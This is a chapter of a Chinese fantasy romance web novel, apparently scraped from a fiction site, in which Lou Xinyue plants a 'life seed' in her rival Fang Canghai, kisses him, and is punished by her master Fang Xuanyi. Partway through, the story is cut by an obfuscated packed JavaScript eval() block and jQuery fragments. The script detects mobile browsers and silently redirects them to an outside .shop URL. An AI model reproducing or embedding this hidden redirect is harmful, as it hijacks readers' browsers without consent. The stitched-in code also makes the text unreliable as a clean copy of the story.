文趣网 > 其他小说 > 重生到剑仙前夫少年时 > 39. 闯祸
    她本不想把命种种进他魂里的。

    他认错她的身份,拿走她的小偶,现在还说风凉话。

    那就怨不得她了。

    方沧海淡淡扫过她掌心的莲子,眼神很快移到她脸上。

    “我刚才说的话,现在还作数。你,今日铁定要跟我走。”

    他倒不是很在乎她是不是个“妖女”,连她师父都是他手下败将,他看她没有任何忌惮,反倒是充满了好奇和……兴趣。

    楼心月轻笑:“我可没法如你的愿,谢雪衣他们几个平白多了位姑奶奶,要骂你的。”

    方沧海道:“你要不悦,也可以骂。”

    她一时哑然,正当此刻又一道人影稳稳落在浮桥上,一刃雪亮的剑直指着她。

    叶菱婳。

    楼心月睇向他二人,不禁失笑赞叹:“怪不得人人都传你二人天生一对,你一个人下来,她还要追着你,真是生死相随。”

    这话说得不太好听,配上她本就婉转如莺的嗓音,听来更是戳人。

    方沧海别开眼睛。倒是叶菱婳先恼了,怒斥:“谢氏,我劝你不要负隅顽抗!早点回头,不要再执迷不悟!”

    楼心月懒得再去纠正她的称呼。叶菱婳有股子一根筋的牛劲,她认定的事情,是不撞南墙不回头的。

    她眼珠转动,巧笑漫上雪腮,这股灵动的模样叫方沧海本能觉得后背一麻。

    又在想什么坏主意?

    果然,楼心月笑盈盈瞧着他和叶菱婳,对着叶菱婳说:“听起来,叶姐姐很是想我回头?”

    “那是自然!”叶菱婳铿锵有力,话语紧接着缓了下去,“我们知道罪魁祸首是方玄嶷,你不过是受他蛊惑罢了。”

    经过他们的调查,谢幼微在闺中时贤良淑德,温柔仁善,恪守规矩,可一嫁给方玄嶷,就变得助纣为虐,无恶不作。

    叶菱婳明察秋毫,好好的娘们都给他带坏了。

    想到这里,她又不免怜悯起谢幼微的遭遇。闺中女子学的是夫为妻纲,相夫教子,在大事上并无主见,若方玄嶷胁迫她,她根本无法拒绝。

    谢幼微懂什么呢?她如今这般模样,不过是男人施加在她身上的果报罢了。

    可楼心月并不领她的情,黛眉舒展眼中促狭:“也不是不行,那,你把他让给我,我跟你回去,如何?”

    她伸出手,丹红的指尖指着一旁玉立的方沧海。

    方沧海抬起头,目光缓缓落在她脸上,停留许久,沿着衣襟扫过手臂,停在那点点格外招人的丹红上。

    叶菱婳怔住,一时间羞恼不已,只觉得方才一番话都对牛弹琴了。

    “你莫要在这胡言乱语!与我跟他之间有什么相干!”

    方沧海倒是不语,只是看楼心月的眸光更沉了些,嘴角抿得锋利。

    叶菱婳深吸口气,到底顾念大局,勉强往声音中添了些许柔和,与她说清道理。

    “你有意挑衅,我不与你争辩。我只是要告诉你,一时踏错并非没有弥补的余地。只要你随我们回去,将那些女孩身上的命种解除,也算将功折罪。”

    楼心月垂眸,似笑非笑,并不作答。

    她想得太天真了。

    那些命种出自方玄嶷之手,楼心月可不觉得自己有解掉的本事。

    方沧海上前一步,终于开口:“心月,听话。”

    楼心月:“……”

    他叫她的名字,说明没被叶菱婳彻底带跑偏,还算聪明。

    只是后面那个听话是什么意思!

    她可真要拿命种好好种种他了!

    她倏然架起手臂,运转水月幻花,岂料整个空间动荡起来,轰隆隆的巨响如雷炸开!

    脚底的断壁剧烈摆动,顷刻间裂开巨大的缝隙,往下坠落!

    楼心月站立不稳,方沧海轻盈地飞过来,横臂捉住她的后颈将人提起。

    楼心月:!!!

    她可不是小孩了啊!

    “走!”方沧海带着她连连踏过坠落的残块,飞身而上。

    叶菱婳紧随在他身侧,两人鹰起燕落,一先一后,恰好把她夹在中间。

    两人飘起的衣袂下摆时不时便打在她身上,楼心月不堪其扰,忽然唤了一声:“方沧海。”

    他回头看向她,双眸如洗。

    楼心月深吸一口气,两手揽住他的脖子,朝那玉脂似的唇亲了上去。

    意外的是,并不凉。

    薄薄的皮肤下滚动着属于少年人的血气,触感很软,媲美婴孩的肌肤。

    方沧海的眼睛瞪大了。

    “小心!”叶菱婳的声音在她背后响起。

    下一秒,地底传来张狂的大笑,不知何时竟出现一条庞大的黑蛇,足像座宫殿,还在不断爬升。

    黑蛇吐出獠牙,喝出人声:“心月!你太让为师失望!”

    楼心月握着莲子的手被这变故惊得一抖,术法应是没有使出来。

    而时机已经错过了,方沧海怔愣的双瞳已有了清醒的迹象,两人四目相对,竟有那么一丝……尴尬。

    毕竟,她刚才,毫无预兆地强吻了一个勉强算是对头的男人。

    “你……”方沧海的声音有些低哑。

    楼心月闭了闭眼,满腔羞愧与臊意涌上心头,手掌翻飞不停,一掌打在方沧海肩头。

    哪知道他居然就这么飞了出去。

    楼心月失去支点,整个人飞快下坠,与方沧海越来越远。

    他完全不防备的吗?

    “沧海!”叶菱婳也顾不得她了,着急忙慌地去追“疑似”失去所有能力和手段的方沧海。

    耳旁风声呼啸,残垣断壁的景象不断在眼际逝去。

    她被一股冰凉的触感稳稳接住,伸手一摸,身下是冰凉坚硬的蛇鳞。

    巨蛇燃着碧绿的双瞳,死死盯了她一眼,吐出两下信子。

    不知是不是下坠太厉害引发的错觉,她居然在一条蛇脸上看见恨铁不成钢的表情。

    紧接着,楼心月被蛇尾卷起,它擎着她的身体,扭头慢慢爬回底穴。

    无数道镜光过后,她回到那片开满白花的原野。

    巨蛇慢慢缩小成人形,紫袍白发的方玄嶷走到她面前,依旧一副下巴瞧人的倨傲神情。

    “果然,你是个笨丫头。”

    楼心月已经没有力气去分析他话里的嘲讽意味,身子微微一歪,侧了个方向躺着,极长极黑的发丝柔曼地铺在花上。

    方玄嶷一甩衣袖,哼了一声,看向她所朝的方向,正有一轮巨大的月亮缓缓升起。

    “我说了,任务完不成,你要受罚的。宗门可不会白养着你。”

    “谁说我没有完成?”楼心月轻声喃喃。

    方玄嶷心间讶然,垂眸看着她,一截月光透过参差的草叶,恰落在她白腻修长的脖颈上。

    他不用说话,楼心月都知道他憋着什么坏水。先前连搓了半个月纸甲,快把她一双手泡成鸡爪子。如今身子长大,自然不能再干那样的粗活。

    更重要的是,那颗莲子,被她,弄丢了。

    就在刚才往下坠的时候,没有拿稳。

    师父知道非把她活剥了不可。

    方玄嶷丝毫不察,仍端着一副刻薄严厉的模样,话里揶揄。

    “哦?我竟不知,你如此厉害,把那方沧海摆弄在鼓掌之中,原不是白白给男人占便宜的。”

    楼心月道:“师父怎不信我?不信你自己查,我身上定没有。”

    方玄嶷将信将疑,目光在她身上反复检视,果然没有感应到莲子。

    他心中不免定了几分,对这丫头也有三分刮目相待。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948838|214028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    方才无日之渊那个场景,差点没把方玄嶷心肺气出来。怨不得人说女儿是赔钱货呢?

    此刻终于松了口气。

    原来是她用的计策么?怪不得能把命种种在方沧海身上。

    不过,她这亲一个,那亲一个,动不动就把自己送给男人占便宜,如何了得?简直比大逆不道还大逆不道。

    方玄嶷脸又黑了几分,脑子里想到楼心月挂在毛头小子身上的场景,便恨不得杀人。

    “你,”他声音里压抑着怒气,“纸甲不必洗了,心法抄一百遍。”

    楼心月一骨碌坐起来:“为何!”

    方玄嶷冷笑:“我是你师父,举动自有道理,快去。”

    “你说话不算话,我又不是没完成你要办的事,凭什么还要抄书?”

    方玄嶷脸上难看,尤其是她一句“说话不算话”,让他心里像扎了一根刺。

    想了想,方玄嶷倨傲地冷哼:“这是师父新要你做的事。”

    楼心月满脸怨气。

    方玄嶷轻咳了声,皱眉正色:“还不快去!就知道偷懒!”

    说罢,他紫色袍袖一挥,便把楼心月卷入镜阵。

    她再睁眼,周围已是她的卧房。走了两步进内室,也不知是不是错觉,总觉得添了些物件,像刚打扫过。

    她出去的时日不短,按镜界的时间流动来算……算了,算不清楚,总之十天半个月应该是有的。

    房间还干净如新,书架上添了好些新书。她上辈子不识文墨,想来终有些遗憾,方玄嶷虽坏,但是抄抄书,认认字总是没错的。

    楼心月随手一看,尽是些《三字经》、《百家姓》、《千字文》,还有一本童谣和一叠子连环画,柜顶上更是摆着好几个彩画泥塑女娃娃。

    楼心月拿起来看了一眼,尽管看得出画得很用力,但女娃还是很丑。

    她忽然灵光一现,这方玄嶷一个大男人,身边尽是些纸人、木偶、玩偶,不知道他一个人在镜界会不会寂寞,盼着一个小孩子来陪他?

    他有子嗣吗?

    她只听方沧海他们说过一次,谢氏女比他早死,应当是没有学会所谓的“长生之术”。

    这样一来,长生又有什么意义呢?

    把自己变得不人不鬼,身边熟悉的亲近的人都不在了,只能和一堆假人为伴。

    是她倒霉,这方玄嶷耐不住寂寞,把她一刻不停盯着。

    楼心月叹了口气,摊纸研墨,落笔。

    一道声音从窗边传来,厉如雷霆:“背坐直,莫低头!”

    她吓得差点扔了笔,抬头一看,方玄嶷背着手站在窗外监视她写字。

    “你一个女娃,坐没坐相,像什么样子!”

    楼心月心里冤枉,埋怨说:“才回来便要抄书,铁打的人也坐不直!”

    方玄嶷讥笑道:“你如今颜色尚可,便尽想着吃,若是肥了,可没人会爱你。”

    楼心月道:“我又不稀得有人爱我。”

    方玄嶷恼道:“说的什么蠢话!这不是傻姑娘吗?青春貌美,自有良配,我比你懂男人,他们只看女子颜色的。”

    楼心月笔下一顿,也嘲回去:“那也犯不着您老人家操心。再说了,聪明男人,也不想跟咱们家扯上关系呀。”

    方玄嶷知道自己臭名昭著,仿佛被她踩到痛脚,发起怒来:“胡说八道!你看上的男人,天底下的男人,只要我让他娶你,就没有敢不从的!”

    楼心月没招了。

    “师父,”她揉了揉太阳穴,忍不住放软声求告,“咱们两个莫名其妙说起娶不娶,嫁不嫁的,实在有些怪了。徒儿还要抄书呢。”

    方玄嶷瞪她一眼,火气消了些:“还不是你这丫头怪言怪语。”

    说罢又站了会看她写字,迈着闲庭方步走了。